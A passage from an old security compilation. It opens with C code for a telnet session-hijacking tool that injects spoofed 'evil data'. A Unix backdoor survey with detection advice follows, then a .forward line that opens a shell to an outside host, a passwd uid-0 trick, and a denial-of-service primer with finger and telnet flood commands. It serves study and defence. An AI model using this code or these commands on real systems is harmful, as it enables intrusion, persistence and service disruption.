/* so handle it if necessary */
count=0;
printf(" Waiting for spoof to be confirmed...\n");
while(count&lt;5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 1 unsuccesfully ended.\n");}
else {printf("Phase 1 ended.\n"); break;};
};

printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count&lt;10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");

printf("\nTakeover phase 3: Sending MY data.\n");
printf(" Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
count=0;
printf(" Waiting for evil data to be confirmed...\n");
while(count&lt;5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");

}

------------------------------------------------------------------------------


___________________________________________________________________________

[gore]

Part 3:

Back Doors:

Backdoors

By Christopher Klaus 8/4/97


Since the early days of intruders breaking into computers, they have tried
to develop techniques or backdoors that allow them to get back into the
system. In this paper, it will be focused on many of the common backdoors
and possible ways to check for them. Most of focus will be on Unix
backdoors with some discussion on future Windows NT backdoors. This will
describe the complexity of the issues in trying to determine the methods
that intruders use and the basis for administrators understanding on how
they might be able to stop the intruders from getting back in. When an
administrator understands how difficult it would be to stop intruder once
they are in, the appreciation of being proactive to block the intruder from
ever getting in becomes better understood. This is intended to cover many
of the popular commonly used backdoors by beginner and advanced intruders.
This is not intended to cover every possible way to create a backdoor as
the possibilities are limitless.

The backdoor for most intruders provide two or three main functions:

Be able to get back into a machine even if the administrator tries to
secure it, e.g., changing all the passwords.

Be able to get back into the machine with the least amount of visibility.
Most backdoors provide a way to avoid being logged and many times the
machine can appear to have no one online even while an intruder is using
it.

Be able to get back into the machine with the least amount of time. Most
intruders want to easily get back into the machine without having to do all
the work of exploiting a hole to gain access.

In some cases, if the intruder may think the administrator may detect any
installed backdoor, they will resort to using the vulnerability repeatedly
to get on a machine as the only backdoor. Thus not touching anything that
may tip off the administrator. Therefore in some cases, the
vulnerabilities on a machine remain the only unnoticed backdoor.


Password Cracking Backdoor

One of the first and oldest methods of intruders used to gain not only
access to a Unix machine but backdoors was to run a password cracker. This
uncovers weak passworded accounts. All these new accounts are now possible
backdoors into a machine even if the system administrator locks out the
intruder's current account. Many times, the intruder will look for unused
accounts with easy passwords and change the password to something
difficult. When the administrator looked for all the weak passworded
accounts, the accounts with modified passwords will not appear. Thus the
administrator will not be able to easily determine which accounts to lock
out.

Rhosts + + Backdoor

On networked Unix machines, services like Rsh and Rlogin used a simple
authentication method based on hostnames that appear in rhosts. A user
could easily configure which machines not to require a password to log
into. An intruder that gained access to someone's rhosts file could put a
"+ +" in the file and that would allow anyone from anywhere to log into
that account without a password. Many intruders use this method especially
when NFS is exporting home directories to the world. These accounts
become backdoors for intruders to get back into the system. Many intruders
prefer using Rsh over Rlogin because it is many times lacking any logging
capability. Many administrators check for "+ +" therefore an intruder may
actually put in a hostname and username from another compromised account on
the network, making it less obvious to spot.

Checksum and Timestamp Backdoors

Early on, many intruders replaced binaries with their own trojan versions.
Many system administrators relied on time-stamping and the system checksum
programs, e.g., Unix's sum program, to try to determine when a binary file
has been modified. Intruders have developed technology that will recreate
the same time-stamp for the trojan file as the original file. This is
accomplished by setting the system clock time back to the original file's
time and then adjusting the trojan file's time to the system clock. Once
the binary trojan file has the exact same time as the original, the system
clock is reset to the current time. The sum program relies on a CRC
checksum and is easily spoofed. Intruders have developed programs that
would modify the trojan binary to have the necessary original checksum,
thus fooling the administrators. MD5 checksums is the recommended choice
to use today by most vendors. MD5 is based on an algorithm that no one has
yet to date proven can be spoofed.

Login Backdoor

On Unix, the login program is the software that usually does the password
authentication when someone telnets to the machine. Intruders grabbed the
source code to login.c and modified it that when login compared the user's
password with the stored password, it would first check for a backdoor
password. If the user typed in the backdoor password, it would allow you to
log in regardless of what the administrator sets the passwords to. Thus
this allowed the intruder to log into any account, even root. The
password backdoor would spawn access before the user actually logged in and
appeared in utmp and wtmp. Therefore an intruder could be logged in and
have shell access without it appearing anyone is on that machine as that
account. Administrators started noticing these backdoors especially if
they did a "strings" command to find what text was in the login program.
Many times the backdoor password would show up. The intruders then
encrypted or hid the backdoor password better so it would not appear by
just doing strings. Many of the administrators can detect these backdoors
with MD5 checksums.

Telnetd Backdoor

When a user telnets to the machine, inetd service listens on the port and
receive the connection and then passes it to in.telnetd, that then runs
login. Some intruders knew the administrator was checking the login
program for tampering, so they modified in.telnetd. Within in.telnetd, it
does several checks from the user for things like what kind of terminal the
user was using. Typically, the terminal setting might be Xterm or VT100.
An intruder could backdoor it so that when the terminal was set to
"letmein", it would spawn a shell without requiring any authentication.
Intruders have backdoored some services so that any connection from a
specific source port can spawn a shell.

Services Backdoor

Almost every network service has at one time been backdoored by an
intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even
inetd, etc., have been floating around forever. There are programs that
are nothing more than a shell connected to a TCP port with maybe a backdoor
password to gain access. These programs sometimes replace a service like
uucp that never gets used or they get added to the inetd.conf file as a new
service. Administrators should be very wary of what services are running
and analyze the original services by MD5 checksums.

Cronjob backdoor

Cronjob on Unix schedules when certain programs should be run. An intruder
could add a backdoor shell program to run between 1 AM and 2 AM. So for 1
hour every night, the intruder could gain access. Intruders have also
looked at legitimate programs that typically run in cronjob and built
backdoors into those programs as well.

Library backdoors

Almost every UNIX system uses shared libraries. The shared libraries are
intended to reuse many of the same routines thus cutting down on the size
of programs. Some intruders have backdoored some of the routines like
crypt.c and _crypt.c. Programs like login.c would use the crypt() routine
and if a backdoor password was used it would spawn a shell. Therefore,
even if the administrator was checking the MD5 of the login program, it was
still spawning a backdoor routine and many administrators were not checking
the libraries as a possible source of backdoors.

One problem for many intruders was that some administrators started MD5
checksums of almost everything. One method intruders used to get around
that is to backdoor the open() and file access routines. The backdoor
routines were configured to read the original files, but execute the trojan
backdoors. Therefore, when the MD5 checksum program was reading these
files, the checksums always looked good. But when the system ran the
program, it executed the trojan version. Even the trojan library itself,
could be hidden from the MD5 checksums. One way to an administrator could
get around this backdoor was to statically link the MD5 checksum checker
and run on the system. The statically linked program does not use the
trojan shared libraries.

Kernel backdoors

The kernel on Unix is the core of how Unix works. The same method used for
libraries for bypassing MD5 checksum could be used at the kernel level,
except even a statically linked program could not tell the difference. A
good backdoored kernel is probably one of the hardest to find by
administrators, fortunately kernel backdoor scripts have not yet been
widely made available and no one knows how wide spread they really are.

File system backdoors

An intruder may want to store their loot or data on a server somewhere
without the administrator finding the files. The intruder's files can
typically contain their toolbox of exploit scripts, backdoors, sniffer
logs, copied data like email messages, source code, etc. To hide these
sometimes large files from an administrator, an intruder may patch the
files system commands like "ls", "du", and "fsck" to hide the existence of
certain directories or files. At a very low level, one intruder's backdoor
created a section on the hard drive to have a proprietary format that was
designated as "bad" sectors on the hard drive. Thus an intruder could
access those hidden files with only special tools, but to the regular
administrator, it is very difficult to determine that the marked "bad"
sectors were indeed storage area for the hidden file system.

Bootblock backdoors

In the PC world, many viruses have hid themselves within the bootblock
section and most antivirus software will check to see if the bootblock has
been altered. On Unix, most administrators do not have any software that
checks the bootblock, therefore some intruders have hidden some backdoors
in the bootblock area.

Process hiding backdoors

An intruder many times wants to hide the programs they are running. The
programs they want to hide are commonly a password cracker or a sniffer.
There are quite a few methods and here are some of the more common:

An intruder may write the program to modify its own argv[] to make it look
like another process name.

An intruder could rename the sniffer program to a legitimate service like
in.syslog and run it. Thus when an administrator does a "ps" or looks at
what is running, the standard service names appear.

An intruder could modify the library routines so that "ps" does not show
all the processes.

An intruder could patch a backdoor or program into an interrupt driven
routine so it does not appear in the process table. An example backdoor
using this technique is amod.tar.gz available on
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html

An intruder could modify the kernel to hide certain processes as well.

Rootkit

One of the most popular packages to install backdoors is rootkit. It can
easily be located using Web search engines. From the Rootkit README, here
are the typical files that get installed:

z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.


Network traffic backdoors

Not only do intruders want to hide their tracks on the machine, but also
they want to hide their network traffic as much as possible. These network
traffic backdoors sometimes allow an intruder to gain access through a
firewall. There are many network backdoor programs that allow an intruder
to set up on a certain port number on a machine that will allow access
without ever going through the normal services. Because the traffic is
going to a non-standard network port, the administrator can overlook the
intruder's traffic. These network traffic backdoors are typically using
TCP, UDP, and ICMP, but it could be many other kinds of packets.

TCP Shell Backdoors

The intruder can set up these TCP Shell backdoors on some high port number
possibly where the firewall is not blocking that TCP port. Many times,
they will be protected with a password just so that an administrator that
connects to it, will not immediately see shell access. An administrator
can look for these connections with netstat to see what ports are listening
and where current connections are going to and from. Many times, these
backdoors allow an intruder to get past TCP Wrapper technology. These
backdoors could be run on the SMTP port, which many firewalls allow traffic
to pass for e-mail.

UDP Shell Backdoors

Administrator many times can spot a TCP connection and notice the odd
behavior, while UDP shell backdoors lack any connection so netstat would
not show an intruder accessing the Unix machine. Many firewalls have been
configured to allow UDP packets for services like DNS through. Many times,
intruders will place the UDP Shell backdoor on that port and it will be
allowed to by-pass the firewall.

ICMP Shell Backdoors

Ping is one of the most common ways to find out if a machine is alive by
sending and receiving ICMP packets. Many firewalls allow outsiders to ping
internal machines. An intruder can put data in the Ping ICMP packets and
tunnel a shell between the pinging machines. An administrator may notice a
flurry of Ping packets, but unless the administrator looks at the data in
the packets, an intruder can be unnoticed.

Encrypted Link

An administrator can set up a sniffer trying to see data appears as someone
accessing a shell, but an intruder can add encryption to the Network
traffic backdoors and it becomes almost impossible to determine what is
actually being transmitted between two machines.

Windows NT

Because Windows NT does not easily allow multiple users on a single machine
and remote access similar as Unix, it becomes harder for the intruder to
break into Windows NT, install a backdoor, and launch an attack from it.
Thus you will find more frequently network attacks that are spring boarded
from a Unix box than Windows NT. As Windows NT advances in multi-user
technologies, this may give a higher frequency of intruders who use Windows
NT to their advantage. And if this does happen, many of the concepts from
Unix backdoors can be ported to Windows NT and administrators can be ready
for the intruder. Today, there are already telnet daemons available for
Windows NT. With Network Traffic backdoors, they are very feasible for
intruders to install on Windows NT.

Solutions

As backdoor technology advances, it becomes even harder for administrators
to determine if an intruder has gotten in or if they have been successfully
locked out.

Assessment

One of the first steps in being proactive is to assess how vulnerable your
network is, thus being able to figure out what holes exist that should be
fixed. Many commercial tools exist to help scan and audit the network and
systems for vulnerabilities. Many companies could dramatically improve
their security if they only installed the security patches made freely
available by their vendors.

MD5 Baselines

One necessary component of a system scanner is MD5 checksum baselines.
This MD5 baseline should be built up before a hacker attack with clean
systems. Once a hacker is in and has installed backdoors, trying to create
a baseline after the fact could incorporate the backdoors into the
baseline. Several companies had been hacked and had backdoors installed on
their systems for many months. Overtime, all the backups of the systems
contained the backdoors. When some of these companies found out they had
a hacker, they restored a backup in hopes of removing any backdoors. The
effort was futile since they were restoring all the files, even the
backdoored ones. The binary baseline comparison needs to be done before an
attack happens.

Intrusion detection

Intrusion detection is becoming more important as organizations are hooking
up and allowing connections to some of their machines. Most of the older
intrusion detection technology was log-based events. The latest intrusion
detection system (IDS) technology is based on real-time sniffing and
network traffic security analysis. Many of the network traffic backdoors
can now easily be detected. The latest IDS technology can take a look at
the DNS UDP packets and determine if it matches the DNS protocol requests.
If the data on the DNS port does not match the DNS protocol, an alert flag
can be signaled and the data captured for further analysis. The same
principle can be applied to the data in an ICMP packet to see if it is the
normal ping data or if it is carrying encrypted shell session.

Boot from CD-ROM.

Some administrators may want to consider booting from CD-ROM thus
eliminating the possibility of an intruder installing a backdoor on the
CD-ROM. The problem with this method is the cost and time of implementing
this solution enterprise wide.

Vigilant

Because the security field is changing so fast, with new vulnerabilities
being announced daily and intruders are constantly designing new attack and
backdoor techniques, no security technology is effective without vigilance.

Be aware that no defense is foolproof, and that there is no substitute for
diligent attention.

-------------------------------------------------------------------------


you may want to add:

.forward Backdoor

On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).

PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).

&gt; Using smrsh can effectively negate this backdoor (although it's quite
&gt; possibly still a problem if you allow things like elm's filter or
&gt; procmail which can run programs themselves...).


---------------------------------------------------------------------------


you may want to add this "feature" that can act as a backdoor:

when specifying a wrong uid/gid in the /etc/password file,
most login(1) implementations will fail to detect the wrong
uid/gid and atoi(3) will set uid/gid to 0, giving superuser
privileges.

example:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
on Linux boxes, this will give uid 0 to user rmartin.


___________________________________________________________________________

An intro to DOS attacks:

===================================
=INTRODUCTION TO DENIAL OF SERVICE=
===================================

Hans Husman
t95hhu@student.tdb.uu.se
Last updated: Mon Oct 28 14:56:31 MET 1996

.0. FOREWORD

.A. INTRODUCTION
.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
.A.2.1. INTRODUCTION
.A.2.2. SUB-CULTURAL STATUS
.A.2.3. TO GAIN ACCESS
.A.2.4. REVENGE
.A.2.5. POLITICAL REASONS
.A.2.6. ECONOMICAL REASONS
.A.2.7. NASTINESS
.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?

.B. SOME BASIC TARGETS FOR AN ATTACK
.B.1. SWAP SPACE
.B.2. BANDWIDTH
.B.3. KERNEL TABLES
.B.4. RAM
.B.5. DISKS
.B.6. CACHES
.B.7. INETD

.C. ATTACKING FROM THE OUTSIDE
.C.1. TAKING ADVANTAGE OF FINGER
.C.2. UDP AND SUNOS 4.1.3.
.C.3. FREEZING UP X-WINDOWS
.C.4. MALICIOUS USE OF UDP SERVICES
.C.5. ATTACKING WITH LYNX CLIENTS
.C.6. MALICIOUS USE OF telnet
.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
.C.8. HOW TO DISABLE ACCOUNTS
.C.9. LINUX AND TCP TIME, DAYTIME
.C.10. HOW TO DISABLE SERVICES
.C.11. PARAGON OS BETA R1.4
.C.12. NOVELLS NETWARE FTP
.C.13. ICMP REDIRECT ATTACKS
.C.14. BROADCAST STORMS
.C.15. EMAIL BOMBING AND SPAMMING
.C.16. TIME AND KERBEROS
.C.17. THE DOT DOT BUG
.C.18. SUNOS KERNEL PANIC
.C.19. HOSTILE APPLETS
.C.20. VIRUS
.C.21. ANONYMOUS FTP ABUSE
.C.22. SYN FLOODING
.C.23. PING FLOODING
.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
.C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
.C.26. FLEXlm
.C.27. BOOTING WITH TRIVIAL FTP

.D. ATTACKING FROM THE INSIDE
.D.1. KERNEL PANIC UNDER SOLARIS 2.3
.D.2. CRASHING THE X-SERVER
.D.3. FILLING UP THE HARD DISK
.D.4. MALICIOUS USE OF eval
.D.5. MALICIOUS USE OF fork()
.D.6. CREATING FILES THAT IS HARD TO REMOVE
.D.7. DIRECTORY NAME LOOKUPCACHE
.D.8. CSH ATTACK
.D.9. CREATING FILES IN /tmp
.D.10. USING RESOLV_HOST_CONF
.D.11. SUN 4.X AND BACKGROUND JOBS
.D.12. CRASHING DG/UX WITH ULIMIT
.D.13. NETTUNE AND HP-UX
.D.14. SOLARIS 2.X AND NFS
.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X

.E. DUMPING CORE
.E.1. SHORT COMMENT
.E.2. MALICIOUS USE OF NETSCAPE
.E.3. CORE DUMPED UNDER WUFTPD
.E.4. ld UNDER SOLARIS/X86

.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
.F.1. BASIC SECURITY PROTECTION
.F.1.1. INTRODUCTION
.F.1.2. PORT SCANNING
.F.1.3. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
.F.1.4. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
.F.1.5. EXTRA SECURITY SYSTEMS
.F.1.6. MONITORING SECURITY
.F.1.7. KEEPING UP TO DATE
.F.1.8. READ SOMETHING BETTER
.F.2. MONITORING PERFORMANCE
.F.2.1. INTRODUCTION
.F.2.2. COMMANDS AND SERVICES
.F.2.3. PROGRAMS
.F.2.4. ACCOUNTING

.G. SUGGESTED READING
.G.1. INFORMATION FOR DEEPER KNOWLEDGE
.G.2. KEEPING UP TO DATE INFORMATION
.G.3. BASIC INFORMATION

.H. COPYRIGHT

.I. DISCLAIMER

.0. FOREWORD
------------

In this paper I have tried to answer the following questions:

- What is a denial of service attack?
- Why would someone crash a system?
- How can someone crash a system.
- How do I protect a system against denial of service attacks?

I also have a section called SUGGESTED READING were you can find
information about good free information that can give you a deeper
understanding about something.

Note that I have a very limited experience with Macintosh, OS/2 and
Windows and most of the material are therefore for Unix use.

You can always find the latest version at the following address:
http://www.student.tdb.uu.se/~t95hhu...ial/DENIAL.TXT

Feel free to send comments, tips and so on to address:
t95hhu@student.tdb.uu.se

.A. INTRODUCTION
~~~~~~~~~~~~~~~~

.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
-----------------------------------------

Denial of service is about without permission knocking off
services, for example through crashing the whole system. This
kind of attacks are easy to launch and it is hard to protect
a system against them. The basic problem is that Unix
assumes that users on the system or on other systems will be
well behaved.

.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
---------------------------------------

.A.2.1. INTRODUCTION
--------------------

Why would someone crash a system? I can think of several reasons
that I have presentated more precisely in a section for each reason,
but for short:

.1. Sub-cultural status.
.2. To gain access.
.3. Revenge.
.4. Political reasons.
.5. Economical reasons.
.6. Nastiness.

I think that number one and six are the more common today, but that
number four and five will be the more common ones in the future.

.A.2.2. SUB-CULTURAL STATUS
---------------------------

After all information about syn flooding a bunch of such attacks
were launched around Sweden. The very most of these attacks were
not a part of a IP-spoof attack, it was "only" a denial of service
attack. Why?

I think that hackers attack systems as a sub-cultural pseudo career
and I think that many denial of service attacks, and here in the
example syn flooding, were performed for these reasons. I also think
that many hackers begin their carrer with denial of service attacks.

.A.2.3. TO GAIN ACCESS
----------------------

Sometimes could a denial of service attack be a part of an attack to
gain access at a system. At the moment I can think of these reasons
and specific holes:

.1. Some older X-lock versions could be crashed with a
method from the denial of service family leaving the system
open. Physical access was needed to use the work space after.

.2. Syn flooding could be a part of a IP-spoof attack method.

.3. Some program systems could have holes under the startup,
that could be used to gain root, for example SSH (secure shell).

.4. Under an attack it could be usable to crash other machines
in the network or to deny certain persons the ability to access
the system.

.5. Also could a system being booted sometimes be subverted,
especially rarp-boots. If we know which port the machine listen
to (69 could be a good guess) under the boot we can send false
packets to it and almost totally control the boot.

.A.2.4. REVENGE
---------------

A denial of service attack could be a part of a revenge against a user
or an administrator.

.A.2.5. POLITICAL REASONS
-------------------------

Sooner or later will new or old organizations understand the potential
of destroying computer systems and find tools to do it.

For example imaginate the Bank A loaning company B money to build a
factory threating the environment. The organization C therefor crash A:s
computer system, maybe with help from an employee. The attack could cost
A a great deal of money if the timing is right.

.A.2.6. ECONOMICAL REASONS
--------------------------

Imaginate the small company A moving into a business totally dominated by
company B. A and B customers make the orders by computers and depends
heavily on that the order is done in a specific time (A and B could be
stock trading companies). If A and B can't perform the order the customers
lose money and change company.

As a part of a business strategy A pays a computer expert a sum of money to
get him to crash B:s computer systems a number of times. A year later A
is the dominating company.

.A.2.7. NASTINESS
-----------------

I know a person that found a workstation where the user had forgotten to
logout. He sat down and wrote a program that made a kill -9 -1 at a
random time at least 30 minutes after the login time and placed a call to
the program from the profile file. That is nastiness.

.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
---------------------------------------------

This is a hard question to answer and I don't think that it will
give anything to compare different Unix platforms. You can't say that
one Unix is more secure against denial of service, it is all up to the
administrator.

A comparison between Windows 95 and NT on one side and Unix on the
other could however be interesting.

Unix systems are much more complex and have hundreds of built in programs,
services... This always open up many ways to crash the system from
the inside.

In the normal Windows NT and 95 network were is few ways to crash
the system. Although were is methods that always will work.

That gives us that no big different between Microsoft and Unix can
be seen regardning the inside attacks. But there is a couple of
points left:

- Unix have much more tools and programs to discover an
attack and monitoring the users. To watch what another user
is up to under windows is very hard.

- The average Unix administrator probably also have much more
experience than the average Microsoft administrator.

The two last points gives that Unix is more secure against inside
denial of service attacks.

A comparison between Microsoft and Unix regarding outside attacks
are much more difficult. However I would like to say that the average
Microsoft system on the Internet are more secure against outside
attacks, because they normally have much less services.

.B. SOME BASIC TARGETS FOR AN ATTACK
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.B.1. SWAP SPACE
----------------

Most systems have several hundred Mbytes of swap space to
service client requests. The swap space is typical used
for forked child processes which have a short life time.
The swap space will therefore almost never in a normal
cause be used heavily. A denial of service could be based
on a method that tries to fill up the swap space.

.B.2. BANDWIDTH
---------------

If the bandwidth is to high the network will be useless. Most
denial of service attack influence the bandwidth in some way.

.B.3. KERNEL TABLES
-------------------

It is trivial to overflow the kernel tables which will cause
serious problems on the system. Systems with write through
caches and small write buffers is especially sensitive.

Kernel memory allocation is also a target that is sensitive.
The kernel have a kernelmap limit, if the system reach this
limit it can not allocate more kernel memory and must be rebooted.
The kernel memory is not only used for RAM, CPU:s, screens and so
on, it it also used for ordinaries processes. Meaning that any system
can be crashed and with a mean (or in some sense good) algorithm pretty
fast.

For Solaris 2.X it is measured and reported with the sar command
how much kernel memory the system is using, but for SunOS 4.X there
is no such command. Meaning that under SunOS 4.X you don't even can
get a warning. If you do use Solaris you should write sar -k 1 to
get the information. netstat -k can also be used and shows how much
memory the kernel have allocated in the subpaging.

.B.4. RAM
---------

A denial of service attack that allocates a large amount of RAM
can make a great deal of problems. NFS and mail servers are
actually extremely sensitive because they do not need much
RAM and therefore often don't have much RAM. An attack at
a NFS server is trivial. The normal NFS client will do a
great deal of caching, but a NFS client can be anything
including the program you wrote yourself...

.B.5. DISKS
-----------

A classic attack is to fill up the hard disk, but an attack at
the disks can be so much more. For example can an overloaded disk
be misused in many ways.

.B.6. CACHES
-------------

A denial of service attack involving caches can be based on a method
to block the cache or to avoid the cache.

These caches are found on Solaris 2.X:

Directory name lookup cache: Associates the name of a file with a vnode.

Inode cache: Cache information read from disk in case it is needed
again.

Rnode cache: Holds information about the NFS filesystem.

Buffer cache: Cache inode indirect blocks and cylinders to realed disk
I/O.

.B.7. INETD
-----------

Well once inetd crashed all other services running through inetd no
longer will work.


.C. ATTACKING FROM THE OUTSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


.C.1. TAKING ADVANTAGE OF FINGER
--------------------------------

Most fingerd installations support redirections to an other host.

Ex:

$finger @system.two.com@system.one.com

finger will in the example go through system.one.com and on to
system.two.com. As far as system.two.com knows it is system.one.com
who is fingering. So this method can be used for hiding, but also
for a very dirty denial of service attack. Lock at this:

$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

All those @ signs will get finger to finger host.we.attack again and
again and again... The effect on host.we.attack is powerful and
the result is high bandwidth, short free memory and a hard disk with
less free space, due to all child processes (compare with .D.5.).

The solution is to install a fingerd which don't support redirections,
for example GNU finger. You could also turn the finger service off,
but I think that is just a bit to much.

.C.2. UDP AND SUNOS 4.1.3.
--------------------------

SunOS 4.1.3. is known to boot if a packet with incorrect information
in the header is sent to it. This is the cause if the ip_options
indicate a wrong size of the packet.

The solution is to install the proper patch.

.C.3. FREEZING UP X-WINDOWS
---------------------------

If a host accepts a telnet session to the X-Windows port (generally
somewhere between 6000 and 6025. In most cases 6000) could that
be used to freeze up the X-Windows system. This can be made with
multiple telnet connections to the port or with a program which
sends multiple XOpenDisplay() to the port.

The same thing can happen to Motif or Open Windows.

The solution is to deny connections to the X-Windows port.

.C.4. MALICIOUS USE OF UDP SERVICES
-----------------------------------

It is simple to get UDP services (echo, time, daytime, chargen) to
loop, due to trivial IP-spoofing. The effect can be high bandwidth
that causes the network to become useless. In the example the header
claim that the packet came from 127.0.0.1 (loopback) and the target
is the echo port at system.we.attack. As far as system.we.attack knows
is 127.0.0.1 system.we.attack and the loop has been establish.

Ex:

from-IP=127.0.0.1
to-IP=system.we.attack
Packet type:UDP
from UDP port 7
to UDP port 7

Note that the name system.we.attack looks like a DNS-name, but the
target should always be represented by the IP-number.

Quoted from proberts@clark.net (Paul D. Robertson) comment on
comp.security.firewalls on matter of "Introduction to denial of service"

" A great deal of systems don't put loopback on the wire, and simply
emulate it. Therefore, this attack will only effect that machine
in some cases. It's much better to use the address of a different
machine on the same network. Again, the default services should
be disabled in inetd.conf. Other than some hacks for mainframe IP
stacks that don't support ICMP, the echo service isn't used by many
legitimate programs, and TCP echo should be used instead of UDP
where it is necessary. "

.C.5. ATTACKING WITH LYNX CLIENTS
---------------------------------

A World Wide Web server will fork an httpd process as a respond
to a request from a client, typical Netscape or Mosaic. The process
lasts for less than one second and the load will therefore never
show up if someone uses ps. In most causes it is therefore very
safe to launch a denial of service attack that makes use of
multiple W3 clients, typical lynx clients. But note that the netstat
command could be used to detect the attack (thanks to Paul D. Robertson).

Some httpd:s (for example http-gw) will have problems besides the normal
high bandwidth, low memory... And the attack can in those causes get
the server to loop (compare with .C.6.)

.C.6. MALICIOUS USE OF telnet
-----------------------------

Study this little script:

Ex:

while : ; do
telnet system.we.attack &
done

An attack using this script might eat some bandwidth, but it is
nothing compared to the finger method or most other methods. Well
the point is that some pretty common firewalls and httpd:s thinks
that the attack is a loop and turn them self down, until the
administrator sends kill -HUP.

This is a simple high risk vulnerability that should be checked
and if present fixed.

.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
-----------------------------------------------

If the attacker makes a telnet connections to the Solaris 2.4 host and
quits using:

Ex:

Control-}
quit

then will inetd keep going "forever". Well a couple of hundred...

The solution is to install the proper patch.

.C.8. HOW TO DISABLE ACCOUNTS
-----------------------------

Some systems disable an account after N number of bad logins, or waits
N seconds. You can use this feature to lock out specific users from
the system.

.C.9. LINUX AND TCP TIME, DAYTIME
----------------------------------

Inetd under Linux is known to crash if to many SYN packets sends to
daytime (port 13) and/or time (port 37).

The solution is to install the proper patch.

.C.10. HOW TO DISABLE SERVICES
------------------------------

Most Unix systems disable a service after N sessions have been
open in a given time. Well most systems have a reasonable default
(lets say 800 - 1000), but not some SunOS systems that have the
default set to 48...

The solutions is to set the number to something reasonable.

.C.11. PARAGON OS BETA R1.4
---------------------------

If someone redirects an ICMP (Internet Control Message Protocol) packet
to a paragon OS beta R1.4 will the machine freeze up and must be
rebooted. An ICMP redirect tells the system to override routing
tables. Routers use this to tell the host that it is sending
to the wrong router.

The solution is to install the proper patch.

.C.12. NOVELLS NETWARE FTP
--------------------------

Novells Netware FTP server is known to get short of memory if multiple
ftp sessions connects to it.

.C.13. ICMP REDIRECT ATTACKS
----------------------------

Gateways uses ICMP redirect to tell the system to override routing
tables, that is telling the system to take a better way. To be able
to misuse ICMP redirection we must know an existing connection
(well we could make one for ourself, but there is not much use for that).
If we have found a connection we can send a route that
loses it connectivity or we could send false messages to the host
if the connection we have found don't use cryptation.

Ex: (false messages to send)

DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG

The effect of such messages is a reset of the connection.

The solution could be to turn ICMP redirects off, not much proper use
of the service.

.C.14. BROADCAST STORMS
-----------------------

This is a very popular method in networks there all of the hosts are
acting as gateways.

There are many versions of the attack, but the basic method is to
send a lot of packets to all hosts in the network with a destination
that don't exist. Each host will try to forward each packet so
the packets will bounce around for a long time. And if new packets
keep coming the network will soon be in trouble.

Services that can be misused as tools in this kind of attack is for
example ping, finger and sendmail. But most services can be misused
in some way or another.

.C.15. EMAIL BOMBING AND SPAMMING
---------------------------------

In a email bombing attack the attacker will repeatedly send identical
email messages to an address. The effect on the target is high bandwidth,
a hard disk with less space and so on... Email spamming is about sending
mail to all (or rather many) of the users of a system. The point of
using spamming instead of bombing is that some users will try to
send a replay and if the address is false will the mail bounce back. In
that cause have one mail transformed to three mails. The effect on the
bandwidth is obvious.

There is no way to prevent email bombing or spamming. However have
a look at CERT:s paper "Email bombing and spamming".

.C.16. TIME AND KERBEROS
------------------------

